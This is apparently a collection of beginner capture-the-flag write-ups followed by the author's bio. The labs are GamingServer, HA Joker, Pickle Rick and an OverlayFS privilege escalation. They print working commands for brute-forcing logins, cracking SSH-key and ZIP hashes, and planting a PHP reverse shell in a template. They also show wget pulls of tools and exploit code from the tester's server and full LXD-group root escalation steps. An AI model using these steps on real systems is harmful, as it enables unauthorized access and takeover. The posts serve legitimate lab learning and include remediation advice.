This guide details a penetration testing process on a GamingServer using tools like Nmap for port scanning, Gobuster for directory enumeration, and John the Ripper for password cracking. Key findings include open ports for SSH and a web server, discovery of sensitive directories and files, and use of the dict.lst file for cracking a private SSH key. Further steps involve using LinEnum for privilege escalation by exploiting membership in the lxc group and deploying an Alpine Linux container to gain root access and retrieve the final flag.

Enumeration and Port Scanning

we will use Nmap to scan for open ports and services using the following command: sudo nmap -sV -sC 10.10.175.143 -oA nmap_default.

Our results show that we have two open ports, one for SSH and port 80 for the webserver. Since we don’t have the SSH login credentials yet, we will view the web server and look for potential hints or interesting information.

When I viewed the website, nothing stood out, so I decided to view the page source. There, I found some interesting information in the form of an HTML comment. The comment referenced a user name, John. This could be important information and could be a potential login to the server.

The next step was to perform a directory enumeration using Gobuster to find any potential hidden directories or files. the command I used is the following command:

gobuster dir -u http://10.10.175.143/ -x php,html,txt -w /usr/share/dirb/wordlists/common.txt.

from the results, we see there is a robot.txt file that could contain sensitive information /secret/ and an /uploads/ directory. We will visit the directories for further investigations.

The robots.txt had the /uploads directory listed as allowed. After visiting the /uploads directory I found an interesting dict.lst file which is a file that can be used to brute credentials. We will download it to our machine using the below command: wget -O dict.lst http://10.10.175.143/uploads/dict.lst

visiting the /secret directory, I found a file named secretKey.This could contain the passphrase/password we require to log in as John on the web server. We will download it to our machine as well using the below command:wget -O id_rsa http://10.10.175.143/secret/secretKey.

The next step will be to try and log in using our gained credentials to see if we will gain access. before that, we have to change the permission for the id_rsa key file since It contains a private SSH key. By doing this we ensure that we are the owners of the key and can use it to log in otherwise ssh login will not be successful. The command to this is chmod 600 id_rsa.

when trying to log in using the ssh -i id_rsa john@10.10.175.143.command we are required to enter a passphrase that we can crack using the dict.lst file we had discovered. We are going to use John the Ripper for this. we are going to extract the passphrase from the private key using the following command; python /usr/share/john/ssh2john.py id_rsa > id_rsa_Hash.txt.

next, we will perform the password cracking using the following command: john --wordlist=/home/kali/GamingServer/dict.lst id_rsa_Hash.txt. after a few moments, the cracking process was complete and the passphrase was to be letmein.Now we can log in successfully.

for the user flag.txt, we can find in John’s directory.

for the root flag, we have to escalate our privilege to root.

Privilege Escalation

I will be using an automated tool called LinEnum which helps in identifying potential vectors that we can use for privilege escalation. I will transfer this tool to the attack machine using the Python Local server.

python3 -m http.server 8000

on the attack machine, I will download the file using the wget command

wget http://10.9.2.114:8000/LinEnum.sh

After downloading the file I gave it the executable permission using the chmod +x command.To run the file use ./LinEnum.sh. From the results, I found out that we are members of the lxc group.

LXD (Linux Container Daemon) is a container management tool that provides a system-wide daemon for managing containers. It operates on top of Linux Containers (LXC) and offers additional features like snapshots, image management, and REST API for container orchestration.

Exploitation Process:

Import a Custom Alpine Image: Download and import a lightweight Alpine Linux image with additional capabilities on our local machine and transfer it to the target machine via the local HTTP server:

git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build -alpine

Next, we need to copy the compressed file to the target machine and then import the image using lxc.

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

lxc image list

Launch a Container: Create and launch a container using the imported Alpine image:

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start mycontainer

lxc start ignite

Our container has been created. Now we can start the container and read our final flag in the /mnt/root/root directory!

lxc exec ignite /bin/sh

To obtain the final.txt file in the /mnt/root/root.

Conclusion

The LXD exploitation, in particular, highlighted the critical importance of robust system configuration and user permissions. A single misstep can provide attackers with a foothold, enabling them to compromise sensitive systems and data. This exercise reinforced the significance of continuous learning and adaptation in the face of evolving threats. Regular system audits, timely updates, and the implementation of stringent security best practices are essential to safeguard digital assets.

This lab is designed in a capture-the-flag format, where I will solve the challenges step by step. The Joker CTF is named after the fictional animated character in the Batman world. The lab aims to provide practice for penetration testing activities and an understanding of key concepts.

Objectives

• Enumeration of Services

  • Use Nmap to identify open ports and running services.

• Bruteforce Attacks

  • Perform brute force on files over HTTP.

  • Crack basic authentication credentials.

• Hash Cracking

  • Crack the hash of a ZIP file to uncover its password.

  • Crack a MySQL user hash to gain database access.

• Exploitation

  • Exploit vulnerabilities to establish a reverse shell.

  • Stabilize the reverse shell by spawning a TTY shell.

• Privilege Escalation

  • Escalate privileges to root by exploiting flaws in LXD.

Tools Used

• Gobuster: Finds hidden files, directories, or subdomains on a website by brute-forcing possible names.

• Nikto: Scans web servers for vulnerabilities, outdated software, and misconfigurations.

• Nmap: Discovers open ports, services, and operating systems on a target network.

• John the Ripper: Cracks password hashes to recover or test password strength.

• Hydra: Brute-forces login credentials on various services like SSH, FTP, or HTTP.

  Target Machine IP address: 10.10.44.109

Enumeration

I will use nmap to enumerate open ports and services running on the target machine.

nmap command: nmap -sV -sC 10.10.44.109

From our nmap result we can see that we have three open ports and services; port 22 ssh, port 80 http, and port 8080 http. We will research the two http service for any important information.

port 80 http

Viewing the website running on the port 80, nothing was standing out so the next step was to perform directory bruteforce attack on the website using gobuster.

gobuster command: gobuster dir -u http://10.10.44.109/ -x php,html,txt -w /usr/share/dirb/wordlists/common.txt

After enumerating the website, I found a file named /secret.txt that stood out, so I decided to check it. The file contained a conversation between Batman and the Joker.One of the things that stood out was the names in this conversation which are joker and batman. This could be potential usernames for a login perharps?.

Port 8080 http

Viewing the website running on the port 8080, we are greeted with a login which requires a username and password which we dont have at the moment.We will try to bruteforce the login using one of the names in the /secret.txt file which was joker .The tool we will use is Hydra.

Hydra command : hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 -f 10.10.44.109 http-get /

We were able to get the password and login to the website.

Next step, is to try and look for potential hidden directories. For this I used two tools; Gobuster which came up with little infromation and Nikto which its output was more comprehensive.

Using gobuster I was able to find an interesting directory /administartor which was a login page presumably for the admin of the site.

gobuster command: gobuster dir -u http://10.10.44.109:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_results.txt

Using Nikto, I was able to find another interesting file called /backup.zip which could hold important information.

Nikto command : nikto -h http://10.10.44.109:8080/ -id joker:hannah

-id joker:hannah

• Provides HTTP Basic Authentication credentials:

  • joker is the username.

  • hannah is the password.

Zip Hash Cracking

I will use the tool John The Ripper to crack the hash for the /backup.zip file.

Step 1: Extract the Hash from the ZIP File

command : zip2john backup.zip > backup.hash.txt

Step 2: Use John to Crack the Hash

command : john backup_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

I was able to crack the hash and obtain the password, now we can read contents of the backup.zip file. The file contained a database file named joomladb.sql. The database contained vital information such as username, passwords for the users of the website. We were able to get the admin credentials which we can use to login as the admin in the /administator login page.

Cracking the password hash using John we were able to get the admin password and login as the admin.

The next step will be to gain acess to the backend of the website Via a reverse shell which will connect to our own machine. After going through the website, I found a functionality which allows a php file upload in the template section of the website.This is the way I used to upload a reverse shell command from pentest monkey The file I added the exploit was the **error.php.**To run the expoit use I visited this url : http://10.10.44.109:8080/templates/beez3/error.php

The reverse shell connection was successful and I was able to gain a connection.

After gaining access next step was to Escalate our privilege to the hightest user.

Privilege Escalation

To gain the highest Privilege I will be exploiting the lxd Flaw in the sysytems group permissions.

What is LXD?

LXD (Linux Container Daemon) is a container management tool that provides a system-wide daemon for managing containers. It operates on top of Linux Containers (LXC) and offers additional features like snapshots, image management, and REST API for container orchestration.

LXD Privilege Escalation Flaws

LXD can be exploited for privilege escalation on Linux systems if certain conditions are met. The core vulnerability arises from improper configuration, specifically when a non-privileged user is allowed to manage or launch containers through LXD. Here's how this leads to privilege escalation:

1. Access to LXD Group

• LXD requires administrative privileges to operate. Users in the lxd group are granted root-equivalent access to containers.

• If a non-privileged user is added to the lxd group, they can exploit this trust to escalate privileges.

2. Exploiting Container Capabilities

LXD containers can be configured to access and mount the host system's file system or devices. This is done using custom images or privileged container configurations:

• An attacker can launch a container and bind-mount the host’s root file system (/) into the container.

• Once mounted, the attacker can modify critical system files (e.g., /etc/passwd) or binaries, granting themselves root access.

Exploitation Process:

1. Check for LXD Membership: Verify if the current user is part of the lxd group:

2. Import a Custom Alpine Image: Download and import a lightweight Alpine Linux image with additional capabilities on our local machine and transfer it to the target machine via the local HTTP server:

   git clone https://github.com/saghul/lxd-alpine-builder.git

   cd lxd-alpine-builder

   ./build -alpine

   

   start the local server: python3 -m http.server 9000

   

   on the target machine we will get the tar.gz file using the wget commmand.

   wget http://10.9.2.52:9000/alpine-v3.13-x86_64-20210218_0139.tar.gz -O /tmp/alpine.tar.gz

   I encountered issues trying to copy the file to root directory due to lack of permission so I had to copy the file to the /tmp directory which had permissions.

   

   Next we need to copy the compressed file to the target machine and then import the image using lxc.

   lxc image import ./alpine.tar.gz --alias myimage

   lxc image list

   

Launch a Container: Create and launch a container using the imported Alpine image:

lxc init mymage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start mycontainer

lxc start ignite

Our container has been created. Now we can start the container and read our final flag in the /mnt/root/root directory!

/tmp$ lxc exec ignite /bin/sh

To obtain the final.txt file in the /mnt/root/root.

To prevent privilege escalation via LXD:

1. Restrict LXD Group Membership:

   • Ensure only trusted administrative users are part of the lxd group.

   • Remove non-administrative users from the group:

2. Use AppArmor or SELinux:

   • Constrain LXD container capabilities with mandatory access control systems.

3. Update and Patch LXD:

   • Regularly update LXD to ensure vulnerabilities are patched.

4. Audit System Configurations:

   • Periodically review users in privileged groups (sudo, lxd) and container configurations.

Conclusion

In conclusion, the HA Joker CTF Challenge provided a comprehensive learning experience in penetration testing and system vulnerabilities. Through this exercise, I gained valuable insights into the importance of thorough enumeration, as it laid the foundation for identifying potential entry points. The challenge highlighted the effectiveness of brute force attacks and hash cracking in uncovering sensitive information, emphasizing the need for strong authentication mechanisms and secure password practices.

The exploitation phase underscored the significance of understanding and leveraging vulnerabilities to gain unauthorized access, while the privilege escalation segment, particularly through exploiting LXD flaws, demonstrated the critical need for proper system configuration and user permissions. This exercise reinforced the importance of regular system audits, updates, and the implementation of security best practices to mitigate potential risks.

Overall, the challenge not only enhanced my technical skills but also deepened my understanding of the methodologies and tools used in real-world penetration testing scenarios. It served as a reminder of the ever-evolving nature of cybersecurity threats and the continuous need for vigilance and proactive defense strategies.

This Rick and Morty-themed challenge requires you to exploit a web server and find three ingredients to help Rick make his potion and transform back into a human from a pickle. This article provides a walkthrough of the steps taken, and remediation for the vulnerability exploited.

Testing Methodology

• Reconnaissance

• Enumeration

• Directory brute-forcing

• Exploitation

• Privilege escalation

Tools used

• Nmap

• Browser developer tool

• Gobuster

• Command line

Vulnerabilities found and Exploited

1. Sensitive Data Exposure: Poor Code Practices by Using comments to store sensitive data.

Remediation:

• Avoid Hardcoding: Never store sensitive information directly in the source code. Use secure configuration files or environment variables instead.

• Regular Code Reviews: Conduct thorough code reviews to identify and remove any hardcoded sensitive data.

• Developer Training: Educate developers about secure coding practices and the risks associated with hardcoding sensitive data.

  2. Sudo Configuration Errors: The sudoers file grants excessive privileges to users, they can execute commands with root or other high-privileged accounts.

Remediation:

• Review and tighten the sudoers file: Ensure that only authorized users have the necessary privileges to execute commands as other users.

• Use password policies: Enforce strong password policies for the sudo user to prevent unauthorized access.

Reconnaissance

The first step is to scan for open ports and service versions on the system using Nmap. The command we will use is: sudo nmap -sV -sC 10.10.158.167. We will also use the -sC script flag to check for any service vulnerabilities.

From the results of our Nmap scan, we see that we have two open ports: port 22 for SSH and port 80, which usually hosts a web server. For now, we don’t have the credentials for an SSH login, so we will go and view the website which is hosted at http://10.10.158.167.

Enumeration

After visiting the site we see the page below which looks like a static webpage.

Realizing this, I decided to inspect the page source using the browser's developer tools. We found that the username for logging into the web server is R1ckRul3s. This is considered a vulnerability known as sensitive data exposure, where a developer accidentally leaves sensitive information, like usernames and passwords, in the source code of a web page. In our case, it was in the form of an HTML comment.

Directory brute-forcing

The next step is to find directories that might be on the webpage. This can uncover hidden files or directories not meant for public access. For this, we will use a free tool called Gobuster, which is used for directory brute-forcing. We will use the following command: gobuster dir -u http://10.10.158.167/ -x php,html,txt -w /usr/share/dirb/wordlists/common.txt.

gobuster dir: This specifies that we want to use gobuster it in directory discovery mode.

-u <TARGET_URL>: This sets the target URL that we want to scan for directories and files.

-x php,html,txt: This indicates the extensions that gobuster should look for. In this case, it will only report directories and files with these extensions.

-w <WORDLIST>: This specifies the wordlist file that gobuster will use. A word list is a list of possible directories and file names that gobuster will attempt to find.

from the results above we see that we have robots.txt which may include important information, and a /login.php page which may contain a login page. First, we will view the robots.txt file by going to the: 10.10.158.167/robots.txt.

this could be important so we will save it for later. Next, we will visit the /login.php page.

We can see that there is a login page requiring a username and a password. For the username, I tried R1ckRul3s, and for the password, I used Wubbalubbadubdub, which I found in the robots.txt file. This allowed us to log in successfully.

Exploitation

After logging in, we are directed to a command panel where we can be able to execute commands. this step will help us get the three ingredients to help Rick make his potion and transform himself back into a human from a pickle.

The first command I ran was the ls -la command to list the files and directories available.

based on our result above we see that two files stand out, therefore we will try to read them.

after trying the cat command to try and output the contents of the file, I realized that the command was disabled.

I therefore used the strings command and found the first content of Ricks's ingredient.

next, we will read the clue.txt file for any additional clues.

we are told to look around the file system for the other ingredient. I decided to go the /home directory and found there is a folder named Rick

Viewing the Rick folder, we can see the second ingredient file.

reading the second ingredients file using the : strings /home/rick/second\ ingredientswe get:

Privilege Escalation

For the last ingredient, we will have to escalate our privileges to a higher user than the one we are now. To know which user we are currently using,we use the command whoami. we can see that we are the www-data user and have to escalate it root user to capture the last ingredient.

To achieve this we will run the sudo -l command to check what commands we can run as root.

from our results, we see that the root user does not have a password and can run any command with super privilege. To find the third file, we are going to search for it in the /root directory using the sudo ls -la /root/.

final step is to read the output of the final file using sudo strings /root/3rd.txtcommand.

Conclusion

In conclusion, the journey of uncovering each ingredient was both challenging and enlightening. By leveraging various commands and understanding the system's structure, we successfully navigated through different directories and privilege levels. This process not only demonstrated the importance of methodical exploration and privilege escalation but also highlighted the need for careful attention to detail. Each step brought us closer to the final goal, reinforcing the value of persistence and strategic thinking in problem-solving.

In this guide, you will learn how to exploit OverlayFS vulnerabilities for Linux privilege escalation. OverlayFS combines multiple file systems but can pose security risks if mishandled. A specific vulnerability lets attackers gain root access with a crafted binary. You'll set up a machine, use SSH with provided credentials, and compile an exploit to achieve root privileges and capture a flag, enhancing your hands-on cybersecurity skills.

Understanding the Threat

OverlayFS is a kernel module designed to create virtual file systems that combine multiple underlying file systems. While it offers performance benefits and flexibility, it also introduces potential security risks if not properly implemented or maintained.

The vulnerability highlighted by SSD-Disclosure exploits a flaw in OverlayFS's handling of certain file operations. By running a specially crafted binary, an attacker can trick the kernel into giving them root privileges. This attack is particularly concerning because it doesn't require any specific software or tools to be present on the target system. Even without a C compiler, attackers can compile the malicious binary on another machine and transfer it to the vulnerable server.

Credentials for SSH

for this lab, we will use the following credentials:

Username: overlay

Password: tryhackme123

Ip address for machine: 10.10.31.254

firstly we are going to deploy our machine and log in using SSH:

For SSH we will use the following command: ssh overlay@10.10.31.254

after login in we were able to gain access to the machine:

Grab the source code for the exploit from here and save it as exploit.c on the target machine.

to do this, we can use the nano exploit.c command and copy the code to the exploit.c file.

to save the created file to the target machine we will create a local server using the command python3 -m http.server 8000:

on the target machine, we will grab the exploit.c file using the following command.

wget http://10.9.1.112:8000/exploit.c here, 10.9.1.112 is my local address.

next, we are going to convert the exploit source code into an executable file using the following command: gcc -o exploit exploit.c exploit is the executable file while the exploit.c is the source code file.

The next step is to run the compiled exploit, and get root! command to use is ./exploit.

The final challenge is to locate and capture the flag which is located in the /root/ directory and use the cat command to read the output of the file.

Conclusion

The OverlayFS vulnerability poses a significant threat to Ubuntu 18.04 Server systems, allowing attackers to gain complete control. To mitigate this risk, ensure your system is updated with the latest security patches, verify the OverlayFS module is patched, and implement additional security measures like regular updates, strong passwords, firewall protection, and data backups. By taking these proactive steps, you can significantly reduce the risk of exploitation and protect your valuable data and resources.

Who am I?

I have a BSc in Information Technology, which gave me a solid start in the tech world. Over time, I’ve built on that with certifications like Cloud and Network Security from Cyber Shujaa and Junior Penetration Tester from TryHackMe. Along the way, I’ve picked up skills in data science, machine learning with Python, network and application security, and vulnerability assessments. Currently, I’m also pursuing the Certified Red Team Analyst certification and the Secure+ certification from ACyberSchool.

Why Cybersecurity ?

Growing up, I was thrilled watching hackers in movies, typing furiously on their keyboards and cracking complex systems with ease (it looked so cool!🤣). That excitement never left me. Sure, real-life hacking requires much more patience and skill than Hollywood portrays, but the thrill remains the same.Offensive security, in particular, fascinates me because it allows us to think and act like adversaries, inorder to proactively protect systems before they’re compromised.

Hacking from an ethical standpoint is not just about breaking into systems, it’s about understanding how they work, where they can break, and how to fix those gaps before someone else does.

OCH: A Community of Cybersecurity Leaders

The Ongoza Cybersecurity Hub (OCH) is dedicated to building the next generation of cybersecurity leaders. In Swahili, "Ongoza" means leadership, and true to its name, OCH aims to cultivate future leaders who can give back to the community.

I applied for the OCH mentorship because I saw it as an opportunity to learn from seasoned industry experts who have walked the path I’m on now. I believe their guidance, combined with the technical training provided, will help me upskill and prepare for real-world challenges. I also wanted to develop my leadership skills which are essential to today’s world.

What Keeps Me Going…

One value that resonates deeply with me right now is resilience. As I navigate job hunting while pursuing certifications, resilience has become an essential part of my journey. Cybersecurity is a field full of challenges, whether it's getting stuck on a complex capture the flag 😅 or pushing through a tough learning curve. I’ve learned that setbacks are just stepping stones to growth.

I believe that curiosity is the key to growth. In cybersecurity, there’s always something new to learn, whether it’s exploring a new vulnerability or mastering a new tool. Cybersecurity may not always be a whirlwind of excitement, but it is definitely a journey of continuous learning. The job hunt itself has become a valuable learning experience, teaching me the importance of patience. I've come to appreciate that the best results often take time and dedication 💯, a lesson that extends far beyond the realm of cybersecurity.

Outside hacking…😎

When I’m not knee-deep in cybersecurity puzzles, you’ll probably find me in two places: either yelling at the TV during a football match 😂(because obviously, my team can’t win without my sideline coaching), or actually on the field playing football myself.When I’m not kicking a ball around, I’m in the middle of an intense gaming session, outsmarting digital enemies. Both football and gaming keep my brain sharp, or at least that’s what I tell myself😄.

What next?

I’m excited to continue growing in this field and sharing my insights with others through this blog. Here, I’ll document my learning journey, offer tips for fellow beginners, and showcase the projects and certifications I’ve achieved. Whether you’re new to cybersecurity or just looking for inspiration, I hope to create a space where we can learn and grow together 🤝.